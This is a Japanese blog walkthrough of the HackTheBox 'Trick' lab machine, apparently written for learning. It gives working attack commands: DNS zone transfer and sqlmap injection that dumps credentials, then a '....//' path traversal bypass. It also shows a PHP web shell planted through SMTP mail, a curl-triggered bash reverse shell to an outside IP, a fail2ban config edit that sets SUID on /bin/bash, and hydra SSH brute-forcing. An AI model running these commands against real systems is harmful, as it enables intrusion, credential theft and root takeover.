初めに
今回は、HackTheBoxのTrickというマシンを攻略していきます。
easyマシンとのことですが、DNSやnginxの設定ファイルによるVirtualHostの調査、SQLインジェクションやディレクトリトラバーサル、メールを利用したRCEなど、初期侵入までの工程が非常に長くて苦労しました。
偵察
初めに対象マシンで空いているポートはどれか調査するためにNmapを回します。
22,80の他には25(SMTP)や53(DNS)が空いています。Linuxマシンで53が空いているのは珍しい気がします。
また、WebサイトはNginxで稼働していることが分かりますね。
それでは1つずつ試していきましょう。
SMTP
まずはSMTPを利用し、ユーザの列挙を試行します。
今回はNmapのNSEスクリプトであるsmtp-enum-usersを利用します。
どうやらRCPT方式は失敗しているようです。
RCPTは、SMTP (Simple Mail Transfer Protocol) でメール送信時に使用されるコマンドで、メールの受信者を指定するものです。
仕方がないのでtelnetでつないで手動で見てみましょう。
rootユーザはいるみたいですが、エスパーしていくのは流石に大変です。
また、SMTPの活用方法が分かったら戻ってくることにします。
DNS
他のHTBのマシンから、何となくドメイン名は想像つきますが、せっかく53が空いているのでドメイン名を逆引きします。

想像通り、ドメイン名はtrick.htbでしたね。
これを踏まえてDNSゾーン転送を試してみます。
ゾーン転送とは、DNSゾーンデータをプライマリDNSサーバからセカンダリDNSサーバへコピーする機能です。
これにより負荷分散や災害対策などの効果が期待できる一方、設定が不適切な場合内部のドメイン情報が漏洩してしまうリスクがあります。(今回はそれを狙っています)

内部サブドメインと思われるpreprod-payroll.trick.htbが取得できました。
これは辞書にはなさそうなサブドメインですね。
trick.htb、preprod-payroll.trick.htbをkali の/etc/hostsに記載したうえで、Web ポートを覗いていきましょう。
Web ポートの調査
trick.htb
NOTIFY ME!は押下できなかったので一旦保留にします。
こちらは外部を参照しているjsを読み込めていなかったのが原因のようでした。
別記事にて詳しい事象と解決策を載せています。
いずれにしても面白い機能は無かったので一旦保留にしておきます。
preprod-payroll.trick.htb
続いてpreprod-payroll.trick.htbを見ていきます。

こちらはログイン画面が見えていますね。レスポンスヘッダはこんな感じ。

このタイトルPayroll Management Systemはどうやらソフトウェア名のようです。
ログイン画面に対して、SQLi を試していきたいと思います。
SQLmap
SQLmap とはSQLiを自動で試行・悪用することのできるツールです。
DB やテーブル、その中身の探索はもちろん、条件次第ではOS コマンドの実行や内部ファイルの取得も可能な便利ツールです。
まずSQLi を試行したいリクエストをrequestに保存しておきます。
その後、sqlmap のパラメータに request をセットして SQLi を試行していきます。
まずは DB を探索します。DB の探索には-dbsオプションを付与します。
┌──(kali㉿kali)-[~/hackthebox/trick]
└─$ sqlmap -r request -dbs --batch
___
__H__
___ ___["]_____ ___ ___ {1.9.4#stable}
|_ -| . ["] | .'| . |
|___|_ [,]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 10:07:53 /2025-07-24/
[10:07:53] [INFO] parsing HTTP request from 'request'
...
[10:16:44] [INFO] retrieved: payroll_db
available databases [2]:
[*] information_schema
[*] payroll_db
[10:20:26] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/preprod-payroll.trick.htb'
[*] ending @ 10:20:26 /2025-07-24/
二つのDBが見つかりました。名前的に怪しいのはpayroll_dbなので、こちらのDBを指定して今度はテーブルを探します。DB の指定には -Dオプションを利用し、今度はテーブルを探索する--tablesオプションを付与します。
┌──(kali㉿kali)-[~/hackthebox/trick]
└─$ sqlmap -r request -D payroll_db --tables --batch --threads 10
___
__H__
___ ___[,]_____ ___ ___ {1.9.4#stable}
|_ -| . [(] | .'| . |
|___|_ [']_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 10:23:12 /2025-07-24/
...
[11:30:08] [WARNING] increasing time delay to 16 seconds
allowances
Database: payroll_db
[11 tables]
+---------------------+
| position |
| allowances |
| attendance |
| deductions |
| department |
| employee |
| employee_allowances |
| employee_deductions |
| payroll |
| payroll_items |
| users |
+---------------------+
[11:38:45] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/preprod-payroll.trick.htb'
usersが一番怪しいので次はこのusersテーブルの中身を列挙していこうと思います。
-Tでテーブルを指定し、--dumpにてレコードを可能な限り取得していきます。
┌──(kali㉿kali)-[~/hackthebox/trick]
└─$ sqlmap -r request -D payroll_db -T users --dump --batch --threads 10
___
__H__
___ ___[']_____ ___ ___ {1.9.4#stable}
|_ -| . ["] | .'| . |
|___|_ [']_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 08:03:49 /2025-07-25/
...
[08:28:18] [INFO] retrieved: Enemigosss
Database: payroll_db
Table: users
[1 entry]
+----+-----------+---------------+--------+---------+---------+-----------------------+------------+
| id | doctor_id | name | type | address | contact | password | username |
+----+-----------+---------------+--------+---------+---------+-----------------------+------------+
| 1 | 0 | Administrator | 1 | <blank> | <blank> | SuperGucciRainbowCake | Enemigosss |
+----+-----------+---------------+--------+---------+---------+-----------------------+------------+
[08:31:59] [INFO] table 'payroll_db.users' dumped to CSV file '/home/kali/.local/share/sqlmap/output/preprod-payroll.trick.htb/dump/payroll_db/users.csv'
[08:31:59] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/preprod-payroll.trick.htb'
[*] ending @ 08:31:59 /2025-07-25/
認証情報っぽいのが取れましたね。
しかし、権限が強そうな名前ですので流石にここからSSHログインはできないだろうなと思いつつトライ。案の定失敗です。

方針を変更して、内部ファイルが読み取れないか試行してみます。
--file-readで読み取りたいファイル名を指定します。
┌──(kali㉿kali)-[~/hackthebox/trick]
└─$ sqlmap -r request --batch --threads 10 --file-read=/etc/passwd
___
__H__
___ ___[,]_____ ___ ___ {1.9.4#stable}
|_ -| . [(] | .'| . |
|___|_ ["]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 10:29:20 /2025-07-25/
[10:29:20] [INFO] parsing HTTP request from 'request'
[10:29:20] [INFO] resuming back-end DBMS 'mysql'
[10:29:20] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
...
[10:31:02] [WARNING] increasing time delay to 4 seconds
3A2F
do you want confirmation that the remote file '/etc/passwd' has been successfully downloaded from the back-end DBMS file system? [Y/n] Y
[10:31:59] [INFO] retrieved: 2
[10:32:16] [ERROR] invalid character detected. retrying..
[10:32:16] [WARNING] increasing time delay to 5 seconds
351
[10:32:56] [INFO] the remote file '/etc/passwd' is larger (2351 B) than the local file '/home/kali/.local/share/sqlmap/output/preprod-payroll.trick.htb/files/_etc_passwd' (53B)
files saved to [1]:
[*] /home/kali/.local/share/sqlmap/output/preprod-payroll.trick.htb/files/_etc_passwd (size differs from remote file)
[10:32:56] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/preprod-payroll.trick.htb'
出力ファイルを確認しましたが、こちらではrootとnologinのユーザしか見えず、有力なユーザ情報は入手できませんでした。
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
ここで、今回のマシンがnginxで動いていることを思い出します。
nginxはOSS(Open Source Software)のWebサーバソフトウェアで、Apacheと比べて並行処理能力が高いことが特徴です。
nginxには、デフォルトで配置されるconfigファイルがいくつかありますが、試しにVirtualHost設定が記載された/etc/nginx/sites-enabled/defaultを上と同様に読み取っていきます。
出力されたファイルには三つのvhostの情報が記載されており、三つ目には新しいドメインpreprod-marketing.trick.htbについての記載が見られます。
server {
listen 80;
listen [::]:80;
server_name preprod-marketing.trick.htb;
root /var/www/market;
index index.php;
location / {
try_files $uri $uri/ =404;
}
location ~ \.php$ {
include snippets/fastcgi-php.conf;
fastcgi_pass unix:/run/php/php7.3-fpm-michael.sock;
}
}
/var/www/marketの階層で稼働しているみたいです。
preprod-payroll.trick.htb
それでは、新しく発見したドメインpreprod-marketing.trick.htbをkali の/etc/hostsに追記したのち、ブラウザでアクセスしてみます。

ディレクトリトラバーサル
いくつかメニューをクリックしてみたところpageというクエリパラメータに<menu>.htmlを渡して遷移していることが確認できます。

このことから、このpageパラメータに対してディレクトリトラバーサルを試行し、内部ファイルを取得できるのではないかと考えられます。
BurpSuitのintruderを使って確認してみます。まずは通常通りに/etc/passwdを読み取ろうとしてみます。

手応えなしです。原因究明のため、サイトのソースindex.phpの中身もsqlmapにて確認してみようと思います。
先ほどこのサイトが/var/www/marketで稼働していることは判明しています。そこで、--file-read=/var/www/market/index.phpを指定してsqlmapを回すと下記のファイルが取得できます。
<?php
$file = $_GET['page'];
if(!isset($file) || ($file=="index.php")) {
include("/var/www/market/home.html");
}
else{
include("/var/www/market/".str_replace("../","",$file));
}
?>
内容から、入力値のうち../が空に置き換えられて渡されているようです。
そこで、次は....//を使ってトラバーサルを試行してみます。

無事、/etc/passwdを取得することができました。
沢山ユーザがいますが、ほとんどnologinです。初期侵入が狙えそうなのは一番下のmichaelの可能性が高いです。
初期侵入
ここまで来て、Webサイトのみの探索が手詰まりになりました。
そこで、序盤でユーザ列挙に失敗して放置していたSMTPの試行にもう一回戻っていきます。
今回は怪しいユーザも判明したので、試しにメールを送信してみましょう。
SMTPを手動でテストするためのコマンドswaksを利用します。
ユーザとしてmichaelを指定します。
┌──(kali㉿kali)-[~/hackthebox/trick]
└─$ swaks --to michael --from whoami_priv --header 'Subject: Mail Test' --body "This is a test mail" --server 10.10.11.166
=== Trying 10.10.11.166:25...
=== Connected to 10.10.11.166.
<- 220 debian.localdomain ESMTP Postfix (Debian/GNU)
-> EHLO kali
<- 250-debian.localdomain
<- 250-PIPELINING
<- 250-SIZE 10240000
<- 250-VRFY
<- 250-ETRN
<- 250-STARTTLS
<- 250-ENHANCEDSTATUSCODES
<- 250-8BITMIME
<- 250-DSN
<- 250-SMTPUTF8
<- 250 CHUNKING
-> MAIL FROM:<whoami_priv>
<- 250 2.1.0 Ok
-> RCPT TO:<michael>
<- 250 2.1.5 Ok
-> DATA
<- 354 End data with <CR><LF>.<CR><LF>
-> Date: Sun, 27 Jul 2025 11:37:04 -0400
-> To: michael
-> From: whoami_priv
-> Subject: Mail Test
-> Message-Id: <20250727113704.218109@kali>
-> X-Mailer: swaks v20240103.0 jetmore.org/john/code/swaks/
->
-> This is a test mail
->
->
-> .
<- 250 2.0.0 Ok: queued as 511974099C
-> QUIT
<- 221 2.0.0 Bye
=== Connection closed with remote host.
すんなりメールが送信されたことを確認しました。
Linuxでは通常、Emailは/var/mailに格納されます。このメールが格納されているかどうか、先ほど同様トラバーサルで中身を見てみます。

メールの内容もちゃんと見れますね。
ここで、先ほどindex.phpにinclude("/var/www/market/".str_replace("../","",$file));とあったことを思い出してみましょう。これはファイルの内容が php として実行されることを意味します。RCE が狙えそうですね。
それではこちらの--bodyに php を仕込んでOSコマンドを叩いていきます。
┌──(kali㉿kali)-[~/hackthebox/trick]
└─$ swaks --to michael --from whoami_priv --header 'PHP Test' --body '<?php system($_REQUEST["cmd"]); ?>' --server 10.10.11.166
=== Trying 10.10.11.166:25...
=== Connected to 10.10.11.166.
...
-> X-Mailer: swaks v20240103.0 jetmore.org/john/code/swaks/
-> PHP Test
->
-> <?php system($_REQUEST["cmd"]); ?>
->
->
-> .
<- 250 2.0.0 Ok: queued as 510314099C
-> QUIT
<- 221 2.0.0 Bye
=== Connection closed with remote host.
ちゃんと叩けてますね。それではリバースシェルを張ります。
リバースシェルを作成する際は下記のサイトが大変便利です。
curlでcmd部分にリバースシェルをセットしたURLを叩きます。
┌──(kali㉿kali)-[~]
└─$ curl "http://preprod-marketing.trick.htb/index.php?page=....//....//....//var/mail/michael&cmd=bash+-c+'bash+-i+>%26+/dev/tcp/10.10.16.15/4444+0>%261'"
無事初期侵入成功し、user.txtも入手できました。(過去記事で紹介したシェルの安定化もやっておきます)
Privilege Escalation
ここからは権限昇格を目指します。
とりあえずsudo -lにて現在のユーザにてsudo経由で実行できるコマンドがないか探してみます。
michael@trick:~$ sudo -l
Matching Defaults entries for michael on trick:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User michael may run the following commands on trick:
(root) NOPASSWD: /etc/init.d/fail2ban restart
ありましたね!fail2banをリスタートすることができるようです。
また、michaelはsecurityグループに所属しており、そのグループが所有しているファイルには/etc/fail2ban/action.dがあるようです。
fail2banには以下のような権限昇格の explpoit があるみたいです。
fail2banはそもそも、SSH などのサービスで認証に失敗した際に ban するようなサービスのようです。そのための設定ファイルを書き換え、権限昇格に繋げるというのが今回の exploit の流れみたいです。
初めに/etc/fail2ban/action.d/iptables-multiport.confファイルを編集します。編集権限自体はついていないのでひとまずtmpフォルダに移動させてから下記のようにactionban , actionunban部分を今回実行させたいコマンド(今回は/bin/bashに +s の権限を付与する)
# Fail2Ban configuration file
#
# Author: Cyril Jaquier
# Modified by Yaroslav Halchenko for multiport banning
#
[INCLUDES]
before = iptables-common.conf
[Definition]
# Option: actionstart
# Notes.: command executed once at the start of Fail2Ban.
# Values: CMD
#
actionstart = <iptables> -N f2b-<name>
<iptables> -A f2b-<name> -j <returntype>
<iptables> -I <chain> -p <protocol> -m multiport --dports <port> -j f2b-<name>
# Option: actionstop
# Notes.: command executed once at the end of Fail2Ban
# Values: CMD
#
actionstop = <iptables> -D <chain> -p <protocol> -m multiport --dports <port> -j f2b-<name>
<actionflush>
<iptables> -X f2b-<name>
# Option: actioncheck
# Notes.: command executed once before each actionban command
# Values: CMD
#
actioncheck = <iptables> -n -L <chain> | grep -q 'f2b-<name>[ \t]'
# Option: actionban
# Notes.: command executed when banning an IP. Take care that the
# command is executed with Fail2Ban user rights.
# Tags: See jail.conf(5) man page
# Values: CMD
#
actionban = chmod u+s /bin/bash
# Option: actionunban
# Notes.: command executed when unbanning an IP. Take care that the
# command is executed with Fail2Ban user rights.
# Tags: See jail.conf(5) man page
# Values: CMD
#
actionunban = chmod +s /bin/bash
[Init]
次に、とりあえずSSHでログインを失敗させておく必要があるので、適当なユーザリスト、パスワードリストでブルートフォースします。ブルートフォースには hydra を使います。
hydra は SSH や HTTP を始めとした各種プロトコルの認証試行を実施するためのツールです。
今回は、プロトコルは ssh、ワードリストはとにかくロックされるくらい試行したいのでrockyouを指定して回します。
┌──(kali㉿kali)-[~/hackthebox/trick]
└─$ hydra -L userlist -P /usr/share/wordlists/rockyou.txt ssh://10.10.11.166
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-07-28 10:38:44
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 71721995 login tries (l:5/p:14344399), ~4482625 tries per task
[DATA] attacking ssh://10.10.11.166:22/
[STATUS] 221.00 tries/min, 221 tries in 00:01h, 71721776 to do in 5408:53h, 14 active
[STATUS] 198.00 tries/min, 594 tries in 00:03h, 71721403 to do in 6037:10h, 14 active
その後、sudo経由で/etc/init.d/fail2ban restartを実行すると、無事権限昇格に成功し、root.txt を獲得しました。
あとがき
今回は、HackTheBox の Trick マシンを攻略していきました。DNS に SQL、SMTP 等フル活用しながらVirtualHost を渡り歩いていくのは大変でしたが楽しかったです。
少しでも学びの参考になれば幸いです。








